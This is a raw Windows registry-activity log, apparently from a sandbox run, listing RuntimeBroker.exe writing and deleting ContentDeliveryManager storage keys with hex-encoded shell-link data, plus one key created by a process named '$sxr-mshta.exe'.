006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c258457d2000373939386434623438653766636533376565333664363862663062346438646631363831643562616361393530633662663138313865633633393037646463360000b20009000400efbec258457dc258457d2e00000000000000000000000000000000000000000000000000f1ed0100370039003900380064003400620034003800650037006600630065003300370065006500330036006400360038006200660030006200340064003800640066003100360038003100640035006200610063006100390035003000630036006200660031003800310038006500630036003300390030003700640064006300360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000094388e3e1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37393938643462343865376663653337656533366436386266306234643864663136383164356261636139353063366266313831386563363339303764646336000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000072696a746f6f7678000000000000000072e9330fb5301f4a9e010962a32a67ec21cabb552d0def11a08466d3fdb32ecd72e9330fb5301f4a9e010962a32a67ec21cabb552d0def11a08466d3fdb32ecdce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800300034003100350030003900330037002d0032003100340036003700300038003400300031002d003400310039003000390035003000370031002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000072b368a9000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7998d4b48e7fce37ee36d68bf0b4d8df1681d5baca950c6bf1818ec63907ddc6" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000004051a86e03b5da01b8328d6f03b5da01b8328d6f03b5da01da180c000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c258467d2000646534353931356234616636306137363266306232353931643532393532383765643739383162643237323465343737383034643933373031393131623039610000b20009000400efbec258467dc258467d2e00000000000000000000000000000000000000000000000000ec090101640065003400350039003100350062003400610066003600300061003700360032006600300062003200350039003100640035003200390035003200380037006500640037003900380031006200640032003700320034006500340037003700380030003400640039003300370030003100390031003100620030003900610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000094388e3e1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64653435393135623461663630613736326630623235393164353239353238376564373938316264323732346534373738303464393337303139313162303961000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000072696a746f6f7678000000000000000072e9330fb5301f4a9e010962a32a67ec26cabb552d0def11a08466d3fdb32ecd72e9330fb5301f4a9e010962a32a67ec26cabb552d0def11a08466d3fdb32ecdce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800300034003100350030003900330037002d0032003100340036003700300038003400300031002d003400310039003000390035003000370031002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000072b368a9000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\96037348-cb76-46cd- RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- = fcc5766e03b5da01 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\de45915b4af60a762f0b2591d5295287ed7981bd2724e477804d93701911b09a" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000014186f6e03b5da0114186f6e03b5da0114186f6e03b5da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c258467d2000646534353931356234616636306137363266306232353931643532393532383765643739383162643237323465343737383034643933373031393131623039610000b20009000400efbec258467dc258467d2e00000000000000000000000000000000000000000000000000ec090101640065003400350039003100350062003400610066003600300061003700360032006600300062003200350039003100640035003200390035003200380037006500640037003900380031006200640032003700320034006500340037003700380030003400640039003300370030003100390031003100620030003900610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000094388e3e1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64653435393135623461663630613736326630623235393164353239353238376564373938316264323732346534373738303464393337303139313162303961000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000072696a746f6f7678000000000000000072e9330fb5301f4a9e010962a32a67ec24cabb552d0def11a08466d3fdb32ecd72e9330fb5301f4a9e010962a32a67ec24cabb552d0def11a08466d3fdb32ecdce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800300034003100350030003900330037002d0032003100340036003700300038003400300031002d003400310039003000390035003000370031002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000072b368a9000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02e4cd1d-1e08-40c2- = 2873bc6f03b5da01 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02e4cd1d-1e08-40c2- = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- = "\\\\?\\Volume{A968B372-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\33c9ed0b9a711e2c47ff0001a48e51910f0c1d06706e44cef8a0f1849232750a" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f901aa2a-67d0-4e0d- = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\07773068-3deb-444c- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000077f1676e03b5da0177f1676e03b5da0177f1676e03b5da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c258467d2000333363396564306239613731316532633437666630303031613438653531393130663063316430363730366534346365663861306631383439323332373530610000b20009000400efbec258467dc258467d2e0000000000000000000000000000000000000000000000000089300801330033006300390065006400300062003900610037003100310065003200630034003700660066003000300030003100610034003800650035003100390031003000660030006300310064003000360037003000360065003400340063006500660038006100300066003100380034003900320033003200370035003000610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000094388e3e1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33336339656430623961373131653263343766663030303161343865353139313066306331643036373036653434636566386130663138343932333237353061000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000072696a746f6f7678000000000000000072e9330fb5301f4a9e010962a32a67ec23cabb552d0def11a08466d3fdb32ecd72e9330fb5301f4a9e010962a32a67ec23cabb552d0def11a08466d3fdb32ecdce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800300034003100350030003900330037002d0032003100340036003700300038003400300031002d003400310039003000390035003000370031002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000072b368a9000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\96037348-cb76-46cd- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f901aa2a-67d0-4e0d- = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000049a0976e03b5da0186f5b06f03b5da0186f5b06f03b5da013f110a000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c258467d2000343862633762303665613833323263643661663831643661343530386633333733623962386238313362633939386436613232346365616265313363396639610000b20009000400efbec258467dc258467d2e00000000000000000000000000000000000000000000000000a5e11801340038006200630037006200300036006500610038003300320032006300640036006100660038003100640036006100340035003000380066003300330037003300620039006200380062003800310033006200630039003900380064003600610032003200340063006500610062006500310033006300390066003900610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000094388e3e1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34386263376230366561383332326364366166383164366134353038663333373362396238623831336263393938643661323234636561626531336339663961000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000072696a746f6f7678000000000000000072e9330fb5301f4a9e010962a32a67ec29cabb552d0def11a08466d3fdb32ecd72e9330fb5301f4a9e010962a32a67ec29cabb552d0def11a08466d3fdb32ecdce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800300034003100350030003900330037002d0032003100340036003700300038003400300031002d003400310039003000390035003000370031002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000072b368a9000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\65c4ca17-0c50-4e35- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5b81daf1-1726-4b43- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\96037348-cb76-46cd- = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000022659c6e03b5da0172a7a26f03b5da0172a7a26f03b5da01ed9209000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000c258467d2000333363396564306239613731316532633437666630303031613438653531393130663063316430363730366534346365663861306631383439323332373530610000b20009000400efbec258467dc258467d2e0000000000000000000000000000000000000000000000000089300801330033006300390065006400300062003900610037003100310065003200630034003700660066003000300030003100610034003800650035003100390031003000660030006300310064003000360037003000360065003400340063006500660038006100300066003100380034003900320033003200370035003000610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000094388e3e1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33336339656430623961373131653263343766663030303161343865353139313066306331643036373036653434636566386130663138343932333237353061000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000072696a746f6f7678000000000000000072e9330fb5301f4a9e010962a32a67ec28cabb552d0def11a08466d3fdb32ecd72e9330fb5301f4a9e010962a32a67ec28cabb552d0def11a08466d3fdb32ecdce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800300034003100350030003900330037002d0032003100340036003700300038003400300031002d003400310039003000390035003000370031002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000072b368a9000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\36646bcd-2ff8-4ec4- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02e4cd1d-1e08-40c2- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\96037348-cb76-46cd- = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1c48b803-273d-44f7- RuntimeBroker.exe Set value (int) 